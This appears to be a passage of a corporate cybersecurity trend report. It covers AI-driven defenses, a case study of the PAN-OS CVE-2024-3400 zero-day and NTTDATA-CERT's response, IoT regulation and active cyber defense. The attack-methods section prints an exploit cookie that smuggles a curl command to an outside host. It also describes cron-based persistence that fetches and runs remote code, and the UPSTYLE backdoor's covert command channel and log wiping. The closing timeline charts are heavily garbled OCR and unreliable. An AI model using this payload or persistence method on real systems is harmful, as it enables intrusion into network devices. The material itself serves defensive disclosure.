The next chapter presents Al-based countermeasures that companies should
take.

4.3. Al-based countermeasures
companies should take

As attackers exploit generative Al to enhance malware, companies need to also
utilize Al technologies to enhance their defenses against it. It is possible to counter
the evolving threats that exploit Al by implementing new Al-based techniques in
security measures. This chapter presents specific countermeasures that
companies should take.

4.3.1.Enhanced Al-based threat intelligence

Enhanced Al-based threat intelligence means that Al first automatically collects
data quickly and in large volumes from a variety of sources around the world, and
then analyzes the collected data using the machine-learned results. Abnormal
patterns and threats are detected from the collected data by exercising the pattern
recognition and abnormality detection capabilities that are strengths of Al. By
using the detected malware hash values and communication destination
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information such as the IP addresses of the C&C servers, it is possible to detect
and counter the latest malware. An example that can possibly reduce the malware
risk is Al-based automated threat hunting. Al learns the characteristics of malware
collected in threat intelligence and automatically creates malware signatures. Al-
based threat intelligence cannot directly counter malware, but the results of threat
intelligence can be used to indirectly reduce the risk of malware created by
exploiting generative Al.

Al-based threat intelligence can reveal subtle signs and complex relationships
that human analysts tend to overlook. In addition, since Al can monitor 24 hours
a day, 365 days a year, companies can stay updated with the latest threat
information while saving human resources [44] [45] [46].

4.3.2.Implementation of Al-driven EDR

Conventional signature-based detection systems cannot cope with new
malware. To cope with new malware and attackers, many organizations
implement EDR. EDR performs detection using not only hash values and
signatures of malware files, but also behaviors. Behavioral detection monitors
behaviors, instead of malware files and codes, to detect abnormalities. However,
EDR also has issues as shown in the following Table 4-1. To resolve these issues,
Al-driven EDR is getting a lot of attention. Al-driven EDR eliminates the issues of
conventional rule-based EDR, and provides more advanced security measures.




Table 4-1: Al-driven EDR

Issue | Description | Solution by Al-driven EDR |
Burden of | Since behavioral detection of | With a function that can
processing | EDR makes many false distinguish between legitimate
alarge positives and generates a user operations utilizing Al and
number of | large number of alerts, behaviors of malware or
alerts operators may not be able to | attackers, false positives can be
process all of them and miss | reduced.
malware infections, etc.
Delay in General behavioral detection | EDR equipped with Al can
response function of EDR cannot quickly detect behaviors of the
detect and make decisions in | latest sophisticated malware
time to quarantine malware and attackers, assess the
that encrypts or takes out situation, and automatically
information in a short time respond to it [48] [49].
[47].

Al-driven EDR enables rapid incident response. This ability to respond enables
rapid response to the latest attack methods at all times and improving security
quality.

4.3.3. Utilization Al in security monitoring operations

The following benefits can be expected by utilizing Al in security operations [50]
[51].

(a) Labor saving in security operations: A playbook with advanced logic
can be built in a short time by utilizing generative Al. Using this playbook can
automate a series of processes from detection of threats to response to
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them, thereby achieving labor saving in security operations.

(b) Support for operators: A chatbot with generative Al can be
implemented. Operators will be able to obtain answers to technical
questions such as the content of alerts, scripts, and commands without
having to rely on skilled persons. This can prevent dependence on individual
skills and lead to overall quality improvement.

As described above, utilization of Al in security operations resolves the issues
of security operation efficiency and dependence on individual skills. Many
processes can be automated to significantly reduce the load on human resources.
Eliminating dependence on individual skills and freeing up the time of human
resources with advanced skills will enable operators to focus on dealing with
important threats. This improves overall operational efficiency and quality of the
security operation team.

4.4. Conclusion

It is projected that, with the evolution of generative Al and LLM technologies,
malware and cyberattacks will become more sophisticated and diverse in the
future. Generative Al is capable of generating a wide variety of malware and
brings new types of malware with obfuscation and dynamic adaptability. Such
generative Al-created malware can be a serious threat, and cases that cannot be
dealt with by conventional security measures are expected to increase.

Companies also implement Al-based threat intelligence and automated security
operation systems to deal with evolving threats. Companies utilize Al to be able
to rapidly detect and automatically deal with them by automating security
operations, and enhance their security posture by streamlining human resources.
Through these efforts, they can ensure sustainable business security and respond
to constantly evolving cyber threats.




5. Vulnerabilities “Zero-day
vulnerabilities, checking
the information once is
not enough”

Mikiko Kikuchi,
NTTDATA-CERT, Information Security Office, NTT DATA Group

Vulnerabilities that are disclosed before the vendors take security measures
such as providing patches are referred to as zero-day vulnerabilities, and
cyberattacks that exploit zero-day vulnerabilities are referred to as zero-day
attacks. In recent years, the occurrence of zero-day vulnerabilities remains at a
high level. Zero-day vulnerabilities were also pointed out in the “Quarterly Report
on Global Security Trends (3rd Quarter of 2023)", and are a threat that has
significant impact on the IT community as they have been selected as one of the
“10 Major Threats to Information Security 2024 [For Organization]” published by
the IPA for three consecutive years [52] [53].

The PAN-OS vulnerability “CVE-2024-3400” that affected many organizations
in April 2024 is also a zero-day vulnerability. This article addresses the PAN-OS
vulnerability “CVE-2024-3400” and explains the response implemented by the
NTTDATA-CERT and the importance of checking the vulnerability information.
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5.1. CVE-2024-3400

CVE-2024-3400 is a vulnerability that may allow attackers to remotely execute
codes. Palo Alto Networks disclosed the information on this vulnerability on April
12, 2024, but cyberattacks exploiting this vulnerability had already occurred at
that time. The overview of this vulnerability, attack methods, and timeline are
explained below.

5.1.1.Overview

CVE-2024-3400 is an OS command injection vulnerability in PAN-OS by Palo
Alto Networks. By exploiting this vulnerability, a third party may be able to execute
arbitrary code with root privilege without authentication. The products that may be
affected by this threat are network devices that use PAN-OS with “GlobalProtect
Gateway”, “GlobalProtect Portal”’, or with both of these functions enabled [54].
Next-generation firewall (NGFW), virtual firewall, and Cloud Security Gateway
firewall products mainly fall under this category. On March 26 and 27, 2024, before
the vulnerability information was disclosed, events of suspected exploitation of
this vulnerability were confirmed by multiple organizations [55].

5.1.2. Attack methods

CVE-2024-3400 is a vulnerability caused by lack of proper sanitization when
processing the session ID value in the cookie header of an HTTP request. If an
attacker sends an HTTP request with session ID alerted to suspicious code to
firewall devices with the Palo Alto Network vulnerability, the attacker can create
files to arbitrary paths on firewall products or execute arbitrary commands. For
instance, if the session ID of the HTTP request is alerted as follows, the firewall
device will execute the curl command and the attacker will obtain the results [56].

Cookie:
SESSID=/..I..I..lopt/panlogs/tmp/device_telemetry/minute/hellothere226'c
url${IFS}x1.outboundhost.com’;




Evidence was found that attackers had used this attack method to download

reverse shells to firewall devices or steal the configuration data for firewall devices.

Next, the ways in which attackers use this attack method to breach firewall
devices are explained. Attackers use cron jobs to establish a mechanism that
allows execution of remote commands on firewall devices permanently. More
specifically, the attacker uses this attack method to download the “patch” file to
the firewall device, and then executes it to create “/etc/cron.d/update”. The cron
job executes “/etc/cron.d/update” every 60 seconds. This file downloads a file
named “policy” from the URL prepared by the attacker and executes it in Bash. In
other words, the attacker only needs to write necessary commands in the policy
file and place it on its own web server, and the firewall device executes those
commands.

There are six patterns of commands that attackers use the policy file to execute
remotely. Examples include a reverse shell command named “UPSTYLE” written
in Python. UPSTYLE retrieves a specific request from non-existing web page
request errors recorded in the web server log, and extracts and executes the
attacker’s command contained in the URI. The execution results of this command
are appended to the legitimate CSS file used by the firewall product, and the
attacker quickly uses HTTP GET command to read the CSS file to obtain the
command execution results. UPSTYLE restores the CSS file to its original state
after 15 seconds, and deletes the non-existing web page request error from the
log. It further restores the timestamp of the file to erase the trace of the attack [57].

5.1.3. Timeline

The timeline of this vulnerability is shown in Table 5-1. On April 10, Volexity
found cyberattacks exploiting the vulnerability and reported to Palo Alto Networks,
and then Palo Alto Networks promptly disclosed the vulnerability information on
April 12. When Palo Alto Network first disclosed the vulnerability information on
April 12, it was described that of the products with the vulnerability, those with the
“GlobalProtect Gateway feature enabled” and the “device telemetry setting
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enabled” would be affected by the vulnerability. On April 14, Palo Alto Network
added “GlobalProtect Portal feature enabled” to the conditions that the products
concerned would be affected by the vulnerability. In other words, the scope of the
products that would be affected by the vulnerability were expanded to those with
the “GlobalProtect Gateway feature enabled” and the “device telemetry setting
enabled” or the “GlobalProtect Portal feature enabled”. Furthermore, on April 17,
“device telemetry setting enabled” was deleted from the conditions of being
affected by the vulnerability, and the scope expanded even more. Not only that, it
was described on April 12 that the impact of the vulnerability could be avoided by
disabling the device telemetry setting, but it turned out that there was no
workaround as the device telemetry setting was later deleted from the conditions.
As described above, in cases where the vulnerability information and
countermeasures change every moment, it is insufficient to implement security
measures by determining the impact of the vulnerability based on the initial
information alone. The updates to the vulnerability information may be unnoticed.
If the updates to the vulnerability information remain unnoticed, the vulnerable
state continues and the risk of being damaged by cyberattacks becomes higher.

Table 5-1: Timeline (CVE-2024-3400)
2024/3/26 First breaches occur in multiple organizations
2024/4/10 Volexity found cyberattacks exploiting the vulnerability and
reported to Palo Alto Networks
Palo Alto Networks disclosed the information on CVE-2024-
3400
® Affected products: Products with the GlobalProtect
Gateway feature enabled and the device telemetry setting
enabled
® Workaround: Disable the device telemetry setting
Registered in KEV of the U.S. CISA [58]

2024/4/12

2024/4/12




2024/4/14 Palo Alto Networks updated the conditions of the affected
products
® Affected products: Products with the GlobalProtect
Gateway feature, GlobalProtect Portal feature, or both of
these features enabled and the device telemetry setting
enabled
® Workaround: Disable the device telemetry setting
2024/4/15 Palo Alto Networks started providing patches for some
versions
2024/4/17 Palo Alto Networks updated the applicable conditions and
workaround
® Affected products: Products with the GlobalProtect
Gateway feature, GlobalProtect Portal feature, or both of
these features enabled, regardless of the device telemetry
setting being enabled or disabled
® Workaround: None (disabling the device telemetry setting
cannot avoid the impact of this vulnerability)
® Mitigation measure: Monitoring of network activities
2024/4/19 Patches for all applicable versions were provided

5.2. NTTDATA-CERT response

The emergency response implemented by NTTDATA-CERT in response to the
disclosure of this vulnerability is explained here.

NTTDATA-CERT rates the severity of the vulnerability on a 4-point scale of 0,
0+, 1, and 2, and defines the vulnerability response policy for each severity [52].
It also identifies products affected by the vulnerability and communication means
to the relevant organizations and/or projects using the search engine “Shodan”
for Internet-connected devices, internal system register, and vulnerability scan
results.
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NTTDATA-CERT checked the information on this vulnerability on April 12, 2024
and initiated the response with the severity determined to be 1. More specifically,
it disseminated the vulnerability information throughout the company and
requested to take response for systems using products affected by this
vulnerability.

As explained in “3.1.3 Timeline”, the products affected by this vulnerability and
the conditions were changed twice from April 12, on the 14th and 17th. As of April
12, NTTDATA-CERT had established appropriate communication lines with the
organizations and projects that were identified to be using the applicable products.
As such, when the vulnerability information was updated on April 17, NTTDATA-
CERT completed the impact investigation on the same day. Although there had
been two updates to the vulnerability information, it was able to promptly
investigate the existence of any impact.

Dissemination of the information on this vulnerability from NTTDATA-CERT
could cause confusion among system administrators as new information
concerning the products affected by the vulnerability and workarounds were
disclosed multiple times within a short interval. Since it is necessary to have each
system administrator respond correctly, due consideration was given in the
dissemination of the information on this vulnerability. For instance, NTTDATA-
CERT updates the dissemination notice as quickly as possible, but if Palo Alto
Network updates the vulnerability information immediately after the dissemination,
dissemination may not be able to keep up with it. In consideration for such timing
of not being able to reflect the latest information, the update date was added to
the title of the dissemination notice, and a link to the Palo Alto Networks website
was included in the content of the notice to encourage system administrators to
also check the Palo Alto Networks website.

There were times when it was difficult to determine how much detail to include
in the dissemination of the information. Providing more than necessary
information may cause overlooking of important information or confusion. In the
case of zero-day vulnerabilities, there is an immediate risk of being damaged by




attacks, and therefore, system administrators must be able to check the correct
information in a short time. For this reason, consideration was given to keep the
dissemination notice simple and clear. As a result, we were able to complete the
response to the vulnerability without suffering any damage.

5.3. Importance of checking the
vulnerability information

The importance of security personnel and system administrators of the
organization checking the information on zero-day vulnerabilities is described
here.

5.3.1.Accuracy and promptness of

vulnerability information

In the case of zero-day vulnerabilities, cyberattacks targeting the vulnerability
occur before the vulnerability information is disclosed. Therefore, security
personnel and system administrators of the organization seek information on
prompt and accurate security measures. However, there is generally a trade-off
between promptness and accuracy when disclosing the vulnerability information.
If the conditions of the vulnerability occurrence are complex, identifying the
product versions affected by the vulnerability and the conditions takes time. For
this reason, the more promptly the information is disclosed, the less accurate the
information may be.

In fact, for the vulnerability CVE-2024-3400, the vulnerability information
disclosed on April 12 and 14 could not provide accurate workaround. Apart from
this zero-day vulnerability, the information on the vulnerabilities in Ivanti Connect
Secure and lvanti Policy Secure that affected many organizations was also
changed multiple times after it was first disclosed on January 10, 2024.

zero-day
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5.3.2.Information needs to be checked at least once
a day

At the time of disclosure of the vulnerability information, security personnel and
system administrators of the organization must first promptly determine whether
the vulnerability affects the systems they manage. In the case of zero-day
vulnerabilities, however, if, after checking the vulnerability information once, it is
determined to be not applicable or the workaround is implemented and the
vulnerability response is terminated, the vulnerability may remain. For both zero-
day vulnerabilities and ordinary vulnerabilities, the vulnerability information may
be updated, but in the case of zero-day vulnerabilities, the information is often
updated more frequently. Therefore, considering that the affected products,
conditions, and workaround may be updated as described above, security
personnel and system administrators of the organization must continue to check
the vulnerability information that is related to the system they manage.

After the disclosure of the vulnerability information, the information may be
updated frequently. In the case of zero-day vulnerabilities such as this vulnerability,
in particular, the vendor may update the vulnerability information on a daily basis.
Therefore, it is considered necessary for security personnel and system
administrators to check for updates at least once a day for around two weeks
immediately following the disclosure of the vulnerability information. Checking the
information as frequently as possible and promptly responding can lead to
reducing the risk of being damaged by cyberattacks targeting the vulnerability. In
addition, because critical corrections may be made several months after the
disclosure of the vulnerability information, it is ideal to continue to check for
updates for several months on the basis of once a day. However, in most cases,
organizations deal with multiple systems, requiring considerable efforts to check
an enormous amount of vulnerability information every day. In addition, as in the
case of the vulnerability CVE-2024-3400, the information may be updated
frequently, and taking a vacation or checking for updates while performing other




duties can result in delays or missed updates. For these reasons, it is often difficult
to manually check the vulnerability information on a daily basis. In such cases, it
is recommended to use tools to reduce the burden of the checking work. For
instance, the vulnerability information database is available. Incorporating the
notification feature into the vulnerability information enables automatic notification
to security personnel and system administrators when vulnerability information is
disclosed or updated, allowing them to recognize the information as soon as
possible. In addition, the vulnerability information database can manage
vulnerability information for multiple products, and personnel can therefore
centrally check the vulnerability information from it. As described above,
implementing the vulnerability information database enables effective checking of
the vulnerability information and evaluating the severity.

5.4. Conclusion

In the case of zero-day vulnerabilities, the vendors often prioritize early
disclosure of initial vulnerability information and then update the information after
the disclosure of the initial vulnerability information. For the PAN-OS vulnerability
“CVE-2024-3400" addressed in this article, the information on the affected
products, conditions, and workaround were also updated after the disclosure of
the initial vulnerability information. Security personnel and system administrators
of organizations should not be reassured just by checking the vulnerability
information once the first time and completing vulnerability response. For both
zero-day and ordinary vulnerabilities, it is necessary to check the vulnerability
information updates at least once a day. In the case of zero-day vulnerabilities, in
particular, a delay in checking just by a day can result in serious damage. Security
personnel and system administrators of organizations can reduce the security risk

of the organization to the minimum by promptly responding to information updates.
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6. Outlook

Current and future loT security

While the rapid prevalence of loT products has made our life more convenient,
the risk of cyberattacks against IoT products is increasing. Since security
measures are often insufficient for loT products, cyberattacks by attackers
targeting loT products are occurring and actual damage has been confirmed. The
respective countries are developing security systems for IoT products to address
this issue.

In Japan, the development of security systems for lIoT products has been
initiated. For instance, the Information-technology Promotion Agency, Japan (IPA)
plans to start the operation of the security requirement conformance assessment
and labeling system for loT products (JC-STAR) in March 2025. With this system,
loT product procurers and consumers can easily obtain information such as
product details, conformance assessment, security information, and contact
information. Procurers and consumers will be able to select IoT products with
proper security measures, and therefore, the risk of cyberattacks is expected to
decrease [59].

In overseas countries, development of loT product security laws is progressing.
In the European Union (EU), the “European Cyber Resilience Act” that requires
cyber security measures in products was adopted on October 10, 2024 [60]. In
the United States, the “loT Cybersecurity Improvement Act of 2020” was enacted
in 2020, and the minimum security requirements were established for the loT
products to be used by the federal government [61]. It is projected from these
trends that more countries will implement similar certification systems and
regulations in the future. In Japan, there is no legislation similar to the European
Cyber Resilience Act or the 1oT Cybersecurity Improvement Act. Therefore, efforts
may be made in such legislation.
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In addition, with the prevalence of Al technologies, there is a risk that
cyberattacks targeting loT products may become more sophisticated by utilizing
Al technologies. In such cases, development of security systems alone is not a
sufficient security measure. To counter sophisticated attacks, it is effective for
companies and organizations to strengthen the defense of the entire network,
including considering the implementation of zero trust security. However, it may
be difficult to meet the zero trust security requirements with IoT products in some
cases. In such cases, utilizing services for achieving zero trust security for loT
products can help advancing consideration of the implementation of zero trust
security [62]. As described above, it is projected that it will be necessary to
advance both the development of loT product security-related legislation at the
national level and security measures for IoT products at the company level.

Active cyber defense

Active cyber defense is a concept that, unlike conventional passive cyber
defense, aims to minimize damage from attacks by predicting attacker behavior
and actively taking countermeasures before being attacked.

At present in Japan, active cyber defense has been a topic of discussion as the
government is advancing the development of legislation for the introduction of
active cyber defense, etc. The “National Security Strategy” formulated by the
Japanese government in December 2022 officially declares the introduction of
active cyber defense. In addition, the first expert committee meeting was held in
June 2024 to discuss bills and systems for introducing active cyber defense. The
expert committee listed the following three main policies as necessary for
developing systems to implement active cyber defense [63].

(1) Enhancement of efforts to share information with the government and to
coordinate and support measures from the government to the private sector




in the event of a cyberattack against private business operators, etc.
(2)Efforts of domestic telecommunications carriers to detect servers, etc.,
suspected of being exploited by attackers by utilizing the information
communications services they provide
(3)Allowing granting the government necessary authority to hack into and
nullify the attacker’s system in response to attacks to national security,
including those against government agencies and infrastructure

To promote the public-private partnerships referred to in (1), unification of
information formats and systems for information sharing are being discussed [63].
For the abilities of telecommunications carriers to detect risks referred to in (2),
consistency with current laws is being discussed. For instance, disclosing the
information obtained by telecommunications carriers to outside parties may
violate the secrecy of communication guaranteed by the Constitution and/or the
Telecommunications Business Act, hacking into the attacker’s system may violate
the Act on Prohibition of Unauthorized Computer Access, and creating a program
to nullify the attack is likely to be classified as malware and may violate the Penal
Code (crime of creating a virus) [64]. For the access and nullification referred to
in (3), establishment of workable systems and structures and consistency with
international laws, etc., are being discussed [63]. If systems/laws can be
established, it will be able to take action at a national level to prevent damage
before being attacked by sharing the threat information among relevant agencies
and identifying dangerous domains to block communication from the servers, etc.

In addition, what impact does the introduction of active cyber defense have on
companies? Information provision/sharing in active cyber defense not only affects
companies related to infrastructure and those with contacts with government
agencies, but may also affect small- and medium-sized business operators in the
supply chain. Depending on the content of the attack, regardless of the business
field, organizations attacked may be requested to provide information in some
cases [64]. In addition, when a high-risk attack spreads, the organization’s server
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that has been used as a stepping stone may also be subject to nullification [64].

Depending on the direction of the discussions on active cyber defense, ordinary
companies may also be affected. Therefore, it will be necessary to keep paying
close attention on a daily basis to be able to adapt when the matters ordinary
companies need to prepare for become clear.




7. Timeline FY2023 4Q

25

In April 2024, MITRE announced that they had suffered damage from
cyberattacks targeting this vulnerability.
There had also been attacks targeting critical infrastructure organizations that

Yuhei Terashi, NTTDATA-CERT, Information Security Office, NTT DATA Group

In the 4th Quarter of FY2023, cyberattacks targeting a vulnerability in Ivanti
Connect Secure occurred around the world and caused significant damage to

multiple systems using the said product.

* Some ofthe dates in the timeline are not the dates of the occurrence but of the report.

Dec

[A] Vulnerabilities used in attacks

_______________u________________l.______________.l.__.l

NET

4 Barracuda ESG
CVE—ZUZB—Tj 02 (arbitrary code execution) CVE-2023-7028 (privilege escalation)

manage and assign Internet address resources by region, such as RIPE, APNIC,
AFRINIC, and LACNIC. Damage to critical infrastructure can lead to cyberattacks
to ordinary companies, resulting in serious incidents such as service interruptions
and breach of end-user data. Therefore, the response in the event of damage
should be planned in advance.

A GitLab

A OS0! Domestic /. A Vulnerability >#: Threat
A H ¢ ®: |nternational/Overseas [ m: Incident/Accident O @: Countermeasure
Feb Mar Apr
| : |
1 I 1
: A FortiSIEM B —— |
I CVE-2024-23108, CVE-2024-23109 (0OS command injection) Vulnerabilty in the RERIEEEE I
1 1 1
1 L e e | e o e
1 0 i le - I
Ve vCanter ! : Attack tar’getlng Al fHackod 1o somere and Biacked their -
02334048 (RCEy ! 1 platforms™ Eeetngtiezsre faywinehily ofhe Al fomeverk R
1 1

CVE-2023-34048 (RCE)

A Adobe

CVE-2023-38203, CVE-2023-29300 (desenalization of untrusted data) added to KEV

A Apple
CVE-2023-41990 (arbitrary code execution)

CVE-2023-27524 (insecure default variable initialization) added to KEV

A Joomla !

CVE-2023-23752 (improper access control ) added to KEV

A Laravel

CVE-2018-15133 (deserialization of untrusted data) added fo KEV

A Chromium
CVE-2023-7024 (heap-based buffer overflow) added to KEV

& Spreadsheet::ParseBxcel
CVE-2023-7101 (arbitrary code execution) added to KEV

A FortiClientEMS

1
1
: CVE-2023-48788 (SQL injection) added to KEV I
1
1 A Linear eMerge E3-Series I
: CVE-2019-7256 (OS command injection) added to I
1 KEV
! [
A Roundcube A Ivanti Endpoint Manager |
CVE-2023-43770 (XSS) added to KEV CVE-2021-44529 (code injection) added fo KEV
: [
: A TeamCity : I
1 1 CVE-2024-27198 (authentication bypass) added to KEV 1
! A Chromium 0 [ |
1 . 1 1
! CVE-2023-4762 (type confusion) added to KEV . CISA | I
| i Known Exploited |
1 1
i i Vulnerabilities Catalog |
e o = e = = o = e e e =k e = = e = e e = e e = = = = o= = o
i — e e e e o mm mm mm e e o e e e mm Em mm Em Em Em mm = e == oy
: 4 Microsoft Exchange Server : A North Korean sttad group “Lazarus™ : I
1 I CWVE-2024-21410 (privilege escalation) | Exploited the zero-day vulnerability in Windows fixed in February 1
: I @ Microsoft Microsoft : I
1 Fixed 73 vulnerabilities, including 2 zero-day vulnerabilities, in the R 1
| | Febrary monil paiches vulnerabilities | |
: — e o o o o o o o Sen o o O EE O o O o e o e o o b
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A0 0: Domestic 2\ A: Vulnerability <>#: Threat
A H ¢ @ |nternational/Overseas 0 m: Incident/Accident O @: Countermeasure

Dec NET) Feb Mar Apr

[A] Vulnerabilities used in attacks

* Some of the dates in the timeline are not the dates of the occurrence but of the report.

1]
|
|

4

e R e R R R R R e R e A R R e I e R e e e R R e R e e
A Citrix NetScaler ADC/Gateway A FortiOS A Approx. 150,000 Fortinet secure web gatewsys
CVE-2023-6548 (RCE), CVE-2023-6549 (buffer overflow) CVE-2024-21762 (out-of-bounds write) added to KEV o E T N SEN R R T L TIE

e e e e e e e e e e e e e e e = === —— = — g

5 4 Ivanti Connect Secure
A lvanti Connect Secure : Massive exploitation of the SSRF zero-day
CVE-2023-46805 (authentication bypass) 1 vulnerability was confirmed

1
1
CVE-2024-21887 (command injection) 1 . :
'évga%%qg ;Seculz; lation), CVE-2024-21893 (SSRF) '
I - privilege escalation), - | 5
' lvanti’s VPN
1
1
1

Vulnerability in Vulnerabilitlies in

|
|
- “ I VPN produgcts
 APTTUNCS221] : - products .
[kﬂuyedmﬂummdﬂaebyexmlnzmdaywmh_ﬂynmmm I i
® US Govermert, smargey drecive in resmee bll-n.-ﬂy i 'z VPN pratuce ® Vulnersbilities in lvanti's VPN products, evolved from limited sttadks to diverse sttadts :
LL———————————l-———————————————I————————l 1
—_—e— o o e o o o e e o . o o o e e e e e e o e e . R B I T
® Apple

[B] Email/SMS
: : 4 AEON card imperscnation
on&ma;ubmmmm ommnnhw;m [ —

——

1

1

| Released 5i0S 17 4" and “iPadOS 17 47 that fixed the zero-day vulnerabilities
1

T

I

1

1

1

1

1

1

1

: & Mert over business email compromise (BEC) impersonaing  US. goverrment agencies
1

1

1

1
1
1
<> CLUB Panasonic impersonation <> Sony Bank impersonation > BicCamers impersonstion © Mlert over phishing amacks brgeing e West Jagen Raibway Compeny member services

# New PhaaS platform “Tycaan 2FA”

1 1
1 1
1 ! Bypass icati ion for Mi
< Mercari impersonsian. > My Number portsl impersonsion 1 sccounts
1 1 1
1 1 1
1 1
i 0 ® Council of Anti-Phishing Japan
 IPA imperscration i i Published the Email Sendar i ndUE. Yahoo

1 1

- - ! ) h

o T"r’;‘::“”‘ TEEDE T 2 O Published “Phishing Email Frauds and Countermessures”

© 2024 NTT DATA Group Corporation / NTT DATA Japan Corporation




27

older-model routers and loT devices was confirmed

. . o 2.0 0: Domestic /\ A: Vulnerability {>#: Threat
Some ofthe dates in the timeline are not the dates of the occurrence but of the report. A B¢ @ International/Overseas O m- Incident/Accident O @ Countermeasure
Dec Jan Feb Mar Apr
1 1 1
1 1 1
1 1 1 1
# Android backdoor “Xamalicious” # Malware “Androxgh0st” 1+ PurpleFox malware * ‘A - “Mekotio”, O Avarant of Bomml oader was
Infection via Google Play CISA and FBl released the CSA F\lleas!lﬂ()ﬂcmmlasilm?ilemifeded S[ueatilgviﬂ(:‘voodechiliRm discovered
| ! ! !
1 1 1 1
1 1 1 1
! + Russian threat group “COLDRIVER” # Trojan “Anatsa’ ! s e T e T s e
| Mahware attacks exploiting PDF Infection spread to Android user’ via Google Play Targeting small offices, infection of several thousands of
I
1
1
1

# Malicious Chrome extension 1o - " T -
: o . theft “Ph 4 Malware "RustDoor”
mmwm'gas““"‘*m Exploited the wlnerability in Microsoft Defender SmartScreen Distributed via fake Visual Studio updates
1 1
I 1
1 1
# MNew variant of the remote access Trojan “Bandook” # DarkGate malware ONewlypedSSH-Snaikemdme

Spread by exploiting Microsoft Teams group chat requests 1
# New type of malware ‘DOPLUGS"
China-related APT group “Mustang Panda” attacked Asian countries
1
4 Password theft malware “Ov3r_Stealer” A North korea—related APT group “Lazarus”
Distributed by exploiting fake job ads on Facebook JPCERT{CC wamned of malware spread activities exploiting PyPl
1

[D] Ransomware

F_____—__________I

| | Operation Cronos:%2
& Malware “Carbanak” 4 Ransomware gang "LockBit” |
Exploitation in ransomware attacks was I Announced that the server was restored and
confirmed ; tusnessnasmsq:med I
: I -mmwmhm:ﬁ-mmm—simmmmm I
| e e e e e e e e e e e e e = -
1

* Actual damage cases are describedin [E]; [F]
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* Some ofthe dates in the timeline are not the dates of the occurrence but of the report.

Dec Jan

A0O<>0: Domestic
A B ¢ ®: |nternational/Overseas

Feb

2 & Vulnerability
C m: Incident/Accident

Mar

28

<>#: Threat
O ®: Countermeasure

Apr

[E] Unauthorized access (domestic)

] Kyata City University of Arts Eu-pu-ﬁ:n

[l Nitte Seima Co.,

|| Tows Engineering Corperation
1 Ltd.

[l AnyDesk I'] LY Corporation

(1 JETRO e '] Miura Co.. Ltd. —
v 7 Secs Gymresium 7 Takya University of
] Prarmacesica Ca., Lid. < Forsig Sarses
| Umekaji Potel Kyoto 1 K= Hodings. N
H Comperefin : || Toyots Mobility Servics || ¥odogaws River Park
('] Anan City :
|| Osaka Collegium Musicum [] Lener Keshohin K.K. 1 1
~ ~ - 1 [ Urenharized access © e cx sharing user infomalion - Deficences duing development handover 1
= e By O Tz I 1
- University i 1] Kumishgiu
o Co. 14k : 1 Sumitomo Heavy Indusies, Lid :
N [ Cocdared Ca., Lid. i i
[ Kenke [k Iki Lifestyle \D Baiteru [l PCI Solutions Inc. 11 lzumi City [l CREATEs 0
. [} 1
7 Hekkaich University Hossitd =l i 1o used by Ekka Co., Ltd. from outside |
. 1 1
|| Kindsi Assist K.K. | |
5 1 1
|| Fukujuksi Adachi Tebu Hospitsl | |
- S S M T S O O B M EEE EEN EEN NN M EEN EEN AN AN M M EEm B M M .
I [ Hokuysku Takeyama Heldings, I baurni Ca,
1 1 L || Kokubu Hospital
[l Nagano Nippo ! 1
I = 1 LI EilInc. 1
|| Ofuji Fishing 1 Delays testi d dusto sttads 1
Tadies Co., Ltq. | 1
1
1

I'] Nakshoss Bokujou

[ Telenision Niigeata
Network Ca., Lid

[l Uda City

7 ANA Life bsurance:
Ca. s

1] Yemaguchi Soccer Exchange Square PCs suffered support fraud

|| Umekaji Potel Kycta || Fujitsu Limited

Multiple terminals were infected with

malware

[ Uriniferized acomss fo fre o sie of fr schodl wilem o shoxing site — Possible ek of cedl cad infamaion

- o Em EE EE EE EE S O S S S T S O e e e .

|| Smsll Business Sustainability Grants Office

I Waserds Sports Newspoper Assocsason

|| Unauthorized access tothe Golf Digest Online server

|| Diamend Inc:
Ransomware attads, possible leakage of approx. 70.000 personal information

(| Shizuoka |zu Health Care Onsen Innovation Project (1 ¥4.com

I Suffered demage from no-ware ransom st e demonstriation project contractor

[l Chibe City ll

- - . o . O . S S S S S O o o .
(u] of Daikin Ltd. || Dydo Group Heldings, Inc.
Waorker ieri thout

Suffered demage from no-ware ransom, caused by the |eskage ofthe access key ata contractor

1
Damage caused by ransomware™

______I_______. -

| Damage from no-ware ransom 2 .

|| Soken TecnixCo., Ltd.
L i attads
were confirmed

|| Agnés B. Japan Inc.

1 Small partion of business i lesked due attads
— e o e e e e e e e e o o o= o = — e o mm mm e o e e e e e e e e e [ — |
I Panasenic Connect Co., Ltd. ™
DTmn'-L.I

1

1
Dllmm.nl
P R e et e e e e e e T T B

[F] Data breach (domestic)
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A0 O: Domestic A\ A Vulnerability < #: Threat
A B ¢ ®: |nternational/Overseas O m: Incident/Accident O @: Countermeasure

Dec NET) Feb Mar Apr

[E] Unauthorized access (overseas) : :

* Some ofthe dates in the timeline are not the dates of the occurrence but of the report.

W AGC Automotive Americas = Russia-related APT group “Midnight Blizzard” m United Health Group
1 gnpr;osli.ltr;cwed that they again hacked into Microsoft internal systems and source code Senices became partially unavailable due to cyber by BlackCat’

m Meiko Europe N.V. m Prudential Financial m JVCKENWOQOOD Optical Electronics

m Pilot Corporation of America

i !
1 1
1 1
| m Varta |
1 1

iDamage caused by -

1
1
1
1
1
1
| n
1 m China-related APT group “Earth Krahang™

Damage was confirmed in organizations in 23 countries
1

1
1

m Tistoavry ® 25 hospitals throughout Romania | i

:I'an somwa I'e*z “Akira” ransomware attacks Went offline due to *“Backmydata® ransormware attacks : I  IMF (keraird Moneiry Furch :
i

. ® Hessen Consumer Center I S !

m Kansas City Area Transportation Authority u U

Damage from attacks using the ransomware “MEDUSA” RETSIINE RS WI BEE LEIRLA A I :

1 1 1

] Fuhl;un County, Georgia, U.S.A B Lurie Children's Hosplilal suffered :

Multiple systems were affected by cyberattacks by “LockBit” ransomware attacks by “Rhysida” I 1
1

| EEEN NN I S S S S Sy . .

1

1

: : ! m National Health Service in Scotland

m Schneider Electric Ransomware group ‘INC" stole 3 TB of data

Data theft damage from ransomware attacks by “Cactus”
1

1

| ® Hyundai Motor Europe m Stanford University

1 Suspected 3TB data theft damage from “Black Basta” ransomware Reported personal information theft damage from ransomware attacks by

1 attacks “Akira”

= InzomniscGames
Data age. | ing parsonal i i sttads by “Rhysida™

® LoanDepat ® Facebock Marketplace
g

|
: to the hadker forum due to attades by the threat actor “IntelBroker™
1

m Russian APT group “Midnight Blizzard” m “Samsung Electronics™ and “SK Hynix®

1
. 1
Stole Microsoft employee email data ® Frenc e proviess ¥ andAlmens : .‘Att::sed by Morth Korean hackers, confidential data
